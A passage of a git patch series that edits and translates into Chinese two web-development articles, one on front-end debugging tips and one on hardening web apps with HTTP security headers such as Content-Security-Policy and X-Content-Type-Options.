-[![](https://s3.buysellads.com/1279518/7386844-1491489478.jpg)](https://srv.buysellads.com/ads/click/x/GTND4237CVYDL23JCV74YKQWF67DTKJNCT7DKZ3JCEAI45QUCT7D6K7KC6BDLKJEF67DTK3EHJNCLSIZ) 
-
-
 ### # Main Concepts ###
 
 #### # Isolate the Problem ####
 
-Isolation is possibly the strongest core tenant in all of debugging. Our codebases can be sprawling, with different libraries, frameworks, and they can include many contributors, even people who aren't working on the project anymore. Isolating the problem helps us slowly whittle away non-essential parts of the problem so that we can singularly focus on a solution. 
+Isolation is possibly the strongest core tenant in all of debugging. Our codebases can be sprawling, with different libraries, frameworks, and they can include many contributors, even people who aren't working on the project anymore. Isolating the problem helps us slowly whittle away non-essential parts of the problem so that we can singularly focus on a solution.
 
 Some of the benefits of isolation include, but are not limited to:
 
@@ -36,7 +33,7 @@ You can take this one step further in Chrome DevTools and even walk through the
 
 Good 'ol `console.log` is a form of isolation. (Or `echo` in PHP, or `print` in python, etc…). You are taking one tiny piece of execution and testing your assumptions, or checking to see if something is altering. This is probably the most time-tested form of debugging, that no matter how advanced you become, still has it's uses. Arrow functions in ES6 have allowed us to step up our console debugging game as well, as it’s now a lot easier to write useful one-liners in the console.
 
-The `console.table` function is also a favorite tool of mine, especially great for when you have a lot of data you need to represent- large arrays, large objects and the like. The `console.dir` function is also a nice alternative. It will log an interactive listing of an object's properties. 
+The `console.table` function is also a favorite tool of mine, especially great for when you have a lot of data you need to represent- large arrays, large objects and the like. The `console.dir` function is also a nice alternative. It will log an interactive listing of an object's properties.
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/dir.png)
 
@@ -93,11 +90,11 @@ The CSS tracker shows color-coded rules for used and unused sets.
 
 #### # Misc Tools ####
 
-- [What input](https://ten1seven.github.io/what-input/) is a global utility for tracking the current input method (mouse, keyboard or touch), as well as the current intent- this can be really good for tracking down accessiblity leaks (hat tip to Marcy Sutton, accessibility expert for this tipoff)  
+- [What input](https://ten1seven.github.io/what-input/) is a global utility for tracking the current input method (mouse, keyboard or touch), as well as the current intent- this can be really good for tracking down accessiblity leaks (hat tip to Marcy Sutton, accessibility expert for this tipoff)
 - [Ghostlabapp](https://www.vanamco.com/ghostlab/) is a pretty snazzy tool if you’re doing responsive development or checking anything deployed across a ton of devices. It offers synchronized web development, testing, and inspection.
 - [Eruda is an awesome tool](http://eruda.liriliri.io/) that helps debug on mobile devices. I really like it because it takes a simulator a step further, gives a console and real devtools to help you gain understanding.
 
-![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png) 
+![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png)
 
 ### # Specific Tips ###
 
@@ -119,7 +116,7 @@ $('body').on('focusin',function(){
 We got quite a lot of responses saying that people put red borders on elements to see what they’re doing
 
 > [@sarah_edo](https://twitter.com/sarah_edo) for CSS, I'll usually have a .debug class with a red border that I slap on troublesome elements.
-> 
+>
 > — Jeremy Wagner (@malchata) [March 15, 2017](https://twitter.com/malchata/status/842029469246324736)
 
 I do this too, I even have a little CSS file that drops in some classes I can access for different colors easily.
@@ -127,7 +124,7 @@ I do this too, I even have a little CSS file that drops in some classes I can ac
 #### # Checking State in React ####
 
 > [@sarah_edo](https://twitter.com/sarah_edo) <pre>{JSON.stringify(this.state, null, 2)}</pre>
-> 
+>
 > — MICHAEL JACKSON (@mjackson) [March 15, 2017](https://twitter.com/mjackson/status/842041642760646657)
 
 Props to Michael, this is one of the most useful debugging tools I know of. That snippet "pretty prints" the state of the component you're working with onto the component so that you can see what’s going on. You can validate that the state is working the way that you think it should be, and it helps track down any errors between the state and how you're using it.
@@ -137,7 +134,7 @@ Props to Michael, this is one of the most useful debugging tools I know of. That
 We got a lot of responses that said they slow the animation way down:
 
 > [@sarah_edo](https://twitter.com/sarah_edo)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) * { animation-duration: 10s !important; }
-> 
+>
 > — Thomas Fuchs (@thomasfuchs) [March 15, 2017](https://twitter.com/thomasfuchs/status/842029720820695040)
 
 I mentioned this on a post I wrote right here on CSS Tricks about [debugging CSS Keyframe animations](https://css-tricks.com/debugging-css-keyframe-animations/), there are more tips too, like how to hardware accelerate, or work with multiple transforms in different percentages.
@@ -157,7 +154,7 @@ I tend to work on fast connections, so I will throttle my connection to check an
 This is also useful in conjunction with a hard reload, or with the cache empty
 
 > [@sarah_edo](https://twitter.com/sarah_edo) Not so secret trick. But still many people are unaware. You need DevTools open, and then right click over the refresh button. [pic.twitter.com/FdAfF9Xtxm](https://t.co/FdAfF9Xtxm)
-> 
+>
 > — David Corbacho (@dcorbacho) [March 15, 2017](https://twitter.com/dcorbacho/status/842033259664035840)
 
 #### # Set a Timed Debugger ####
@@ -175,13 +172,13 @@ It’s similar to the debugger; tool I mentioned earlier, except you can put it
 #### # Simulators ####
 
 > [@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) And just in case any Mac users didn't know this, iOS simulator + Safari is sweet. [pic.twitter.com/Uz4XO3e6uD](https://t.co/Uz4XO3e6uD)
-> 
+>
 > — Chris Coyier (@chriscoyier) [March 15, 2017](https://twitter.com/chriscoyier/status/842034009060302848)
 
 I mentioned simulators with Eruda before. iOS users also get a pretty sweet simulator. I was going to tell you you have to install XCode first, but this tweet showed another way:
 
 > [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) Or, you can use this approach if you didn't want to bother with installing xCode:  [https://t.co/WtAnZNo718](https://t.co/WtAnZNo718)
-> 
+>
 > — Chris Harrison (@cdharrison) [March 15, 2017](https://twitter.com/cdharrison/status/842038887904088065)
 
 Chrome also has a device toggle which is helpful.
@@ -189,7 +186,7 @@ Chrome also has a device toggle which is helpful.
 #### # Remote Debuggers ####
 
 > [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)[https://t.co/q3OfWKNlUo](https://t.co/q3OfWKNlUo) is a good tool.
-> 
+>
 > — Gilles 💾⚽ (@gfra54) [March 15, 2017](https://twitter.com/gfra54/status/842035375304523777)
 
 I actually didn't know about this tool until seeing this tweet. Pretty useful!
@@ -198,7 +195,7 @@ I actually didn't know about this tool until seeing this tweet. Pretty useful!
 
 Rachel Andrew gave a presentation at Smashing and mentioned a little waffle thing you can click on in Firefox that will illuminate the gutters in the grid. [Her video](http://gridbyexample.com/learn/2016/12/17/learning-grid-day17/) explains it really eloquently.
 
-![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.58.14-AM.png) 
+![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.58.14-AM.png)
 
 Rachel Andrew shows how to highlight gutters in Firefox DevTools.
 
@@ -207,14 +204,14 @@ Rachel Andrew shows how to highlight gutters in Firefox DevTools.
 Wes Bos with a really useful tip for searching for a single item in an array:
 
 > If you are just looking for a single item array.find() is 🔥 [https://t.co/AuRtyFwnq7](https://t.co/AuRtyFwnq7)
-> 
+>
 > — Wes Bos (@wesbos) [March 15, 2017](https://twitter.com/wesbos/status/842069915158884354)
 
 ### # Further Debugging Resources ###
 
 Jon Kuperman has a [Frontend Masters course](https://frontendmasters.com/courses/chrome-dev-tools/) that can help you master devtools it goes along [with this app](https://github.com/jkup/mastering-chrome-devtools).
 
-There’s a small course on code school called [discover devtools](https://www.codeschool.com/courses/discover-devtools). 
+There’s a small course on code school called [discover devtools](https://www.codeschool.com/courses/discover-devtools).
 
 Umar Hansa has a new online course called [Modern DevTools](https://moderndevtools.com/).
 

From d7f45df5a6af8f59194ced27863aa89ceaa8c12b Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Fri, 14 Apr 2017 14:14:05 +0800
Subject: [PATCH 168/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/higher-order-functions-composing-software.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/higher-order-functions-composing-software.md b/TODO/higher-order-functions-composing-software.md
index 67336f3fd47..0f8e8def2bf 100644
--- a/TODO/higher-order-functions-composing-software.md
+++ b/TODO/higher-order-functions-composing-software.md
@@ -127,7 +127,7 @@ const gt3 = highpass(3);
 [1, 2, 3, 4].filter(gt3); // [3, 4];
 ```
 
-换言之，高阶函数可以用来实现函数的多态性。如你所见，相较于一阶函数而言，高阶函数的复用性和通用性非常好。一般来讲，在实际编码中会组合使用高阶函数和一些非常简单的一阶函数。
+换言之，高阶函数可以用来实现函数的多态性。如你所见，相对于一阶函数而言，高阶函数的复用性和通用性更好。一般来讲，在实际编码中会组合使用高阶函数和一些非常简单的一阶函数。
 
 [**再续 “Reduce” >**](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d)
 

From 966426c87034b8bca35ff74ff6733d14a4149da2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 14 Apr 2017 20:49:01 +0800
Subject: [PATCH 169/638] Update debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 42 +++++++++++++++++------------------
 1 file changed, 21 insertions(+), 21 deletions(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index dee46a5eabc..12b0aec52df 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -8,9 +8,9 @@
 
 Writing code is only one small piece of being a developer. In order to be efficient and capable at our jobs, we must also excel at debugging. When I dedicate some time to learning new debugging skills, I often find I can move much quicker, and add more value to the teams I work on. I have a few tips and tricks I rely on pretty heavily and found that I give the same advice again and again during workshops, so here’s a compilation of some of them, as well as some from the community. We'll start with some core tenants and then drill down to more specific examples.
 
-### # Main Concepts ###
+### Main Concepts ###
 
-#### # Isolate the Problem ####
+#### Isolate the Problem ####
 
 Isolation is possibly the strongest core tenant in all of debugging. Our codebases can be sprawling, with different libraries, frameworks, and they can include many contributors, even people who aren't working on the project anymore. Isolating the problem helps us slowly whittle away non-essential parts of the problem so that we can singularly focus on a solution.
 
@@ -39,7 +39,7 @@ The `console.table` function is also a favorite tool of mine, especially great f
 
 console.dir gives an interactive listing
 
-#### #Be Methodical ####
+#### Be Methodical ####
 
 When I teach workshops and help students in my class, the number one thing that I find holds them back as they try to debug a problem is not being methodical enough. This is truly a tortoise-and-the-hare kind of situation. They understandably want to move quickly, so they change a ton of things at once, and then when something stops working, they don’t know which thing they changed is causing the error. Then, to debug, they change many things at once and get a little lost trying to figure out what is working and what isn't.
 
@@ -47,15 +47,15 @@ We all do this to some extent. As we become more proficient with a tool, we can
 
 **Do you remember when you were a kid and your parents said, "if you get lost, stay where you are?"** My parents did, at least. It's because if they were moving around to find me and I was also moving around to find them, we'd have fewer chances of bumping into one another. Code works the same way. The less moving pieces you have, the better- the more you are returning consistent results, the easier it will be to track things down. So while you’re debugging, try not to also install anything, or put in new dependencies. If you see a different error every time you should be returning a static result, that’s a big red flag you should be headed right for with your sleuth hat on.
 
-### # Choose Good Tools ###
+### Choose Good Tools ###
 
 There are a million different tools for solving a variety of problems. I’m going to work through some of the tools I find the most useful and then we’ll link off to a bevy of resources.
 
-#### # Syntax Highlighting ####
+#### Syntax Highlighting ####
 
 Sure, it’s damn fun to pick out the new hotness in colors and flavors for your syntax highlighting theme, but spending some time thinking about clarity here matters. I often pick dark themes where a skip in syntax will turn all of my code a lighter color, I find errors are really easy to see right away. I tend to like Oceanic Next or Panda, but really, to each their own on this one. It’s important to keep in mind that when looking for a good syntax highlighter, awesome-looking is great, but functional for calling out your mistakes is most important, and it's totally possible to do both.
 
-#### # Linting ####
+#### Linting ####
 
 Linting helps flag suspicious code and calls out errors we might have overlooked. Linting is incredibly important, but which linter you choose has so much to do with what language/framework you’re writing in, and then on top of that, what your agreed-upon code style is.
 
@@ -66,7 +66,7 @@ Here are some resources:
 - I recently found [this responsive images linter](https://github.com/ausi/respimagelint), that tells you what opportunities you might have to use picture, srcset, or sizes.
 - Here’s a [pretty good breakdown](https://www.sitepoint.com/comparison-javascript-linting-tools/) of some JS linters
 
-#### # Browser Extensions ####
+#### Browser Extensions ####
 
 Extensions can be really awesome because they can be enabled and disabled so readily, and they can work with really specific requirements. If you’re working with a particular library or framework, chances are, having their extension for DevTools enabled is going to give you all sorts of clarity that you can’t find otherwise. Take care though- not only can extensions bog a browser down, but they have permissions to execute scripts, so do a little homework into the extension author, ratings, and background. All that said, here are some of my favorites:
 
@@ -76,7 +76,7 @@ Extensions can be really awesome because they can be enabled and disabled so rea
 - [Codopen](https://chrome.google.com/webstore/detail/codopen/agnkphdgffianchpipdbkeaclfbobaak): pops you out of the editor mode into a debug window for CodePen. Full disclosure: my husband made this for me as a present because he was sick of watching me manually opening the debug window (best gift ever!)
 - [Pageruler](https://chrome.google.com/webstore/detail/page-ruler/jlpkojjdgbllmedoapgfodplfhcbnbpn): get pixel dimensions and measure anything on a page. I like this one because I’m super duper anal about my layout. This helps me feed the beast.
 
-### # DevTools ###
+### DevTools ###
 
 This is probably the most obvious of debugging tools, and there are so many things you can do with them. They can have so many packed-in features that can be easy to miss, so in the next section of specific tips, we'll go into a deep dive of some favorites.
 
@@ -88,7 +88,7 @@ One of my favorite recent ones is this [CSS Tracker Enhancement](https://umaar.c
 
 The CSS tracker shows color-coded rules for used and unused sets.
 
-#### # Misc Tools ####
+#### Misc Tools ####
 
 - [What input](https://ten1seven.github.io/what-input/) is a global utility for tracking the current input method (mouse, keyboard or touch), as well as the current intent- this can be really good for tracking down accessiblity leaks (hat tip to Marcy Sutton, accessibility expert for this tipoff)
 - [Ghostlabapp](https://www.vanamco.com/ghostlab/) is a pretty snazzy tool if you’re doing responsive development or checking anything deployed across a ton of devices. It offers synchronized web development, testing, and inspection.
@@ -96,11 +96,11 @@ The CSS tracker shows color-coded rules for used and unused sets.
 
 ![eruda gives you a mobile console](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-10.38.57-AM.png)
 
-### # Specific Tips ###
+### Specific Tips ###
 
 I am always interested in what other people do to debug, so I asked the community through the CSS-Tricks account and my own what they were really into. This list is a mixture of tips I like as well as a roundup of tips from the community.
 
-#### # Accessibility ####
+#### Accessibility ####
 
 ```
 $('body').on('focusin',function(){
@@ -111,7 +111,7 @@ $('body').on('focusin',function(){
 
 -[Marcy Sutton](https://twitter.com/marcysutton)
 
-#### # Debugging CSS ####
+#### Debugging CSS ####
 
 We got quite a lot of responses saying that people put red borders on elements to see what they’re doing
 
@@ -121,7 +121,7 @@ We got quite a lot of responses saying that people put red borders on elements t
 
 I do this too, I even have a little CSS file that drops in some classes I can access for different colors easily.
 
-#### # Checking State in React ####
+#### Checking State in React ####
 
 > [@sarah_edo](https://twitter.com/sarah_edo) <pre>{JSON.stringify(this.state, null, 2)}</pre>
 >
@@ -129,7 +129,7 @@ I do this too, I even have a little CSS file that drops in some classes I can ac
 
 Props to Michael, this is one of the most useful debugging tools I know of. That snippet "pretty prints" the state of the component you're working with onto the component so that you can see what’s going on. You can validate that the state is working the way that you think it should be, and it helps track down any errors between the state and how you're using it.
 
-#### # Animation ####
+#### Animation ####
 
 We got a lot of responses that said they slow the animation way down:
 
@@ -145,7 +145,7 @@ I also slow down my animations in JavaScript- in GreenSock that would look like:
 
 If you want to use the Chrome Devtools timeline to do performance audits, it's worth mentioning that painting is the most expense of the tasks, so all things being equal, pay a little more attention to a high percentage of that green.
 
-#### # Checking different connection speeds and loads ####
+#### Checking different connection speeds and loads ####
 
 I tend to work on fast connections, so I will throttle my connection to check and see what the performance would look like for people who don’t have my internet speed.
 
@@ -157,7 +157,7 @@ This is also useful in conjunction with a hard reload, or with the cache empty
 >
 > — David Corbacho (@dcorbacho) [March 15, 2017](https://twitter.com/dcorbacho/status/842033259664035840)
 
-#### # Set a Timed Debugger ####
+#### Set a Timed Debugger ####
 
 This one came from Chris. We have a whole writeup on it [right here](https://css-tricks.com/set-timed-debugger-web-inspect-hard-grab-elements/):
 
@@ -169,7 +169,7 @@ setTimeout(function() {
 
 It’s similar to the debugger; tool I mentioned earlier, except you can put it in a setTimeout function and get even more fine-tuned information
 
-#### # Simulators ####
+#### Simulators ####
 
 > [@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks) And just in case any Mac users didn't know this, iOS simulator + Safari is sweet. [pic.twitter.com/Uz4XO3e6uD](https://t.co/Uz4XO3e6uD)
 >
@@ -183,7 +183,7 @@ I mentioned simulators with Eruda before. iOS users also get a pretty sweet simu
 
 Chrome also has a device toggle which is helpful.
 
-#### # Remote Debuggers ####
+#### Remote Debuggers ####
 
 > [@chriscoyier](https://twitter.com/chriscoyier)[@Real_CSS_Tricks](https://twitter.com/Real_CSS_Tricks)[https://t.co/q3OfWKNlUo](https://t.co/q3OfWKNlUo) is a good tool.
 >
@@ -191,7 +191,7 @@ Chrome also has a device toggle which is helpful.
 
 I actually didn't know about this tool until seeing this tweet. Pretty useful!
 
-#### # CSS Grid Debugging #### (#article-header-id-18 .has-header-link)
+#### CSS Grid Debugging #### (#article-header-id-18 .has-header-link)
 
 Rachel Andrew gave a presentation at Smashing and mentioned a little waffle thing you can click on in Firefox that will illuminate the gutters in the grid. [Her video](http://gridbyexample.com/learn/2016/12/17/learning-grid-day17/) explains it really eloquently.
 
@@ -199,7 +199,7 @@ Rachel Andrew gave a presentation at Smashing and mentioned a little waffle thin
 
 Rachel Andrew shows how to highlight gutters in Firefox DevTools.
 
-#### # Array Debugging ####
+#### Array Debugging ####
 
 Wes Bos with a really useful tip for searching for a single item in an array:
 
@@ -207,7 +207,7 @@ Wes Bos with a really useful tip for searching for a single item in an array:
 >
 > — Wes Bos (@wesbos) [March 15, 2017](https://twitter.com/wesbos/status/842069915158884354)
 
-### # Further Debugging Resources ###
+### Further Debugging Resources ###
 
 Jon Kuperman has a [Frontend Masters course](https://frontendmasters.com/courses/chrome-dev-tools/) that can help you master devtools it goes along [with this app](https://github.com/jkup/mastering-chrome-devtools).
 

From 74a1cd716a7c51e6ed8e88571222cc79905207bc Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sat, 15 Apr 2017 15:04:50 +0800
Subject: [PATCH 170/638] translation completed

---
 TODO/secure-web-app-http-headers.md | 40 +++++++++++++++++------------
 1 file changed, 23 insertions(+), 17 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index d15fe288045..9e1716b7e1f 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -292,39 +292,45 @@ functionrequestHandler(req, res){
 	res.setHeader('Content-Security-Policy',"script-src 'self'");}
 ```
 
-### Preventing Content-Type Sniffing ###
+### 防止 Content-Type 嗅探 ###
 
-In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the `Content-Type` response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.
+> In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the `Content-Type` response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.
 
-Luckily, the `X-Content-Type-Options` response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because `X-Content-Type-Options` was only formally specified as part of the [“Fetch” specification](https://fetch.spec.whatwg.org/#x-content-type-options-header), the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.
+为了使用户体验尽可能无缝连接，许多浏览器实现了一个功能叫 内容类型嗅探，或者 MIME 嗅探。这个功能使得浏览器可以通过「嗅探」实际 HTTP 响应的资源的内容直接检测到资源的类型，无论在响应头中 `Content-Type` 是如何指定资源类型的。虽然这个功能在某些情况下确实是有用的，它引入了一个漏洞以及一种叫 MIME 混乱攻击。MIME 嗅探漏洞使攻击者可以注入恶意资源，例如恶意脚本，伪装成一个无辜的资源，例如一个图片。通过 MIME 嗅探，浏览器将忽略声明的图像内容类型，它不会渲染图片，而是执行恶意脚本。
 
-`X-Content-Type-Options` is a simple response header, with only one directive: `nosniff`. This header looks like this: `X-Content-Type-Options: nosniff`. Here’s an example of a configuration of the header:
+> Luckily, the `X-Content-Type-Options` response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because `X-Content-Type-Options` was only formally specified as part of the [“Fetch” specification](https://fetch.spec.whatwg.org/#x-content-type-options-header), the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.
 
-```
+幸运的是，`X-Content-Type-Options` 响应头缓解了这个漏洞。此响应头在 2008 年引入 IE8，目前大多数主流浏览器都支持（Safari 是唯一不支持的主流浏览器），它指示浏览器在处理获取的资源时不使用嗅探。因为 `X-Content-Type-Options` 仅在 [「Fetch」规范](https://fetch.spec.whatwg.org/#x-content-type-options-header)中正式指定，实际的实现因浏览器而异。一部分浏览器（IE 和 Edge）完全阻止了 MIME 嗅探，而其他一些（Firefox）仍然会进行 MIME 嗅探，但会屏蔽掉可执行的资源（JavaScript 和 CSS）如果声明的内容类型与实际的类型不一致。后者符合最新的 Fetch 规范。
+
+> `X-Content-Type-Options` is a simple response header, with only one directive: `nosniff`. This header looks like this: `X-Content-Type-Options: nosniff`. Here’s an example of a configuration of the header:
+
+`X-Content-Type-Options` 是一个很简单的响应头，它只有一个指令，`nosniff`。它是这样指定的：`X-Content-Type-Options: nosniff`。以下是示例代码：
+
+```javascript
 functionrequestHandler(req, res){
 	res.setHeader('X-Content-Type-Options','nosniff');}
 ```
 
-### Summary ###
+### 总结 ###
 
-In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.
+> In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.
 
-#### Takeaways ####
+本文中，我们了解了如何利用 HTTP 响应头来加强 web 应用的安全性，防止攻击和减轻漏洞。
 
-- Disable caching for confidential information using the `Cache-Control` header.
-- Enforce HTTPS using the `Strict-Transport-Security` header, and add your domain to Chrome’s preload list.
-- Make your web app more robust against XSS by leveraging the `X-XSS-Protection` header.
-- Block clickjacking using the `X-Frame-Options` header.
-- Leverage `Content-Security-Policy` to whitelist specific sources and endpoints.
-- Prevent MIME-sniffing attacks using the `X-Content-Type-Options` header.
+#### 要点 ####
 
-Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!
+- 使用 `Cache-Control` 禁用对机密信息的缓存
+- 通过 `Strict-Transport-Security` 强制使用 HTTPS，并将你的域添加到 Chrome 预加载列表
+- 利用 `X-XSS-Protection` 使你的 web 应用更加能抵抗 XSS 攻击
+- 使用 `X-Frame-Options` 阻止点击劫持
+- 利用 `Content-Security-Policy` 将特定来源于端点列入白名单
+- 使用 `X-Content-Type-Options` 防止 MIME 嗅探攻击
 
+请记住，为了使 web 真正迷人，它必须是安全的。利用 HTTP 响应头构建更加安全的网页吧！
 
 
-(**Disclaimer:** The content of this post is my own and doesn’t represent my past or current employers in any way whatsoever.)
 
-*Front page image credits: [Pexels.com](https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/).*
+(**声明:** 此文内容仅属本人，不代表本人过去或现在的雇主。)
 
 ---
 

From 08853d8784ccbda58465da8b99dac09a020019b6 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Sat, 15 Apr 2017 16:03:58 +0800
Subject: [PATCH 171/638] reviewed

---
 TODO/secure-web-app-http-headers.md | 148 ++++++----------------------
 1 file changed, 30 insertions(+), 118 deletions(-)

diff --git a/TODO/secure-web-app-http-headers.md b/TODO/secure-web-app-http-headers.md
index 9e1716b7e1f..7cf3e757680 100644
--- a/TODO/secure-web-app-http-headers.md
+++ b/TODO/secure-web-app-http-headers.md
@@ -6,21 +6,13 @@
 
 ## 如何使用 HTTP Headers 来保护你的 Web 应用 ##
 
-> Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately [40% of data breaches](http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/) originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather **a necessity for web developers**, especially for developers who build consumer-facing applications.
+Web 应用，无论是简单的小网页还是复杂的单页应用，众所周知都是网络攻击的目标。2016年，大约 40% 的数据泄露源自对 Web 应用的攻击，这是主要的攻击模式。事实上，现在来说，了解网络安全并不是锦上添花， 而是 **Web 开发者的必需任务**，特别对于构建面向消费者的产品的开发人员。
 
-Web 应用，无论是简单的小网页还是复杂的单页应用，众所周知都是网络攻击的目标。2016年，大约 40% 的数据泄露源自对 Web 应用的攻击，这是主要的攻击模式。事实上，现在来说，了解网络安全并不是锦上添花， 而是 Web 开发者的必需任务，特别对于构建面向消费者的产品的开发人员。
-
-> HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.
-
-开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将结束 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但是设置 HTTP 响应头基本在所有主要的服务端语言都是简单易设置的。
+开发者可以利用 HTTP 响应头来加强 Web 应用程序的安全性，通常只需要添加几行代码即可。本文将介绍 web 开发者如何利用 HTTP Headers 来构建安全的应用。虽然本文的示例代码是 Node.js，但是设置 HTTP 响应头基本在所有主要的服务端语言中都是简单易设置的。
 
 ### 关于 HTTP Headers ###
 
-> Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.
-
-技术上，HTTP 头只是简单的字段，咦明文形式编码，这是 HTTP 请求和响应消息头的一部分。它们旨在使客户端和服务端都能够发送和接受有关要建立的连接元数据、所请求的资源，以及返回的资源本身的元数据。
-
-> Plain-text HTTP response headers can be examined easily using cURL, with the `--head` option, like so:
+技术上来说，HTTP 头只是简单的字段，以明文形式编码，它是 HTTP 请求和响应消息头的一部分。它们旨在使客户端和服务端都能够发送和接受有关要建立的连接、所请求的资源，以及返回的资源本身的元数据。
 
 可以使用 cURL `--head` 选项轻松检查纯文本 HTTP 响应头，例如:
 
@@ -37,48 +29,30 @@ Vary: Accept-Encoding
 …
 ```
 
-> Today, hundreds of headers are used by web apps, some standardized by the [Internet Engineering Task Force](https://www.ietf.org/) (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.
-
-现在，数百种响应头正在被 web 应用所使用，其中一部分由[互联网工程任务组, IETF](https://www.ietf.org/)标准化。IETF 是一个开发性组织，今天我们所熟知的许多 web 标准或专利都是由他们进行推进的。HTTP 头提供了一种灵活可扩展的机制，造就了现今的网络各种丰富多变的用例。
+现在，数百种响应头正在被 web 应用所使用，其中一部分由[互联网工程任务组（IETF）](https://www.ietf.org/)标准化。IETF 是一个开发性组织，今天我们所熟知的许多 web 标准或专利都是由他们推进的。HTTP 头提供了一种灵活可扩展的机制，造就了现今的网络各种丰富多变的用例。
 
 ### 机密资源禁用缓存 ###
 
-> Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!
-
-缓存是优化客户端-服务端架构性能中有效的技术，广泛利用缓存的 HTTP 也不例外。但是，在缓存的资源是保密的情况下，缓存可能导致漏斗，所以必须避免。假设一个 web 应用对含有敏感信息的网页进行缓存，并且是在一台公用的 PC 上使用。任何人可以通过访问浏览器的缓存看到这个 web 应用上的敏感信息，甚至有时仅仅通过点击浏览器的返回按钮就可以看到。
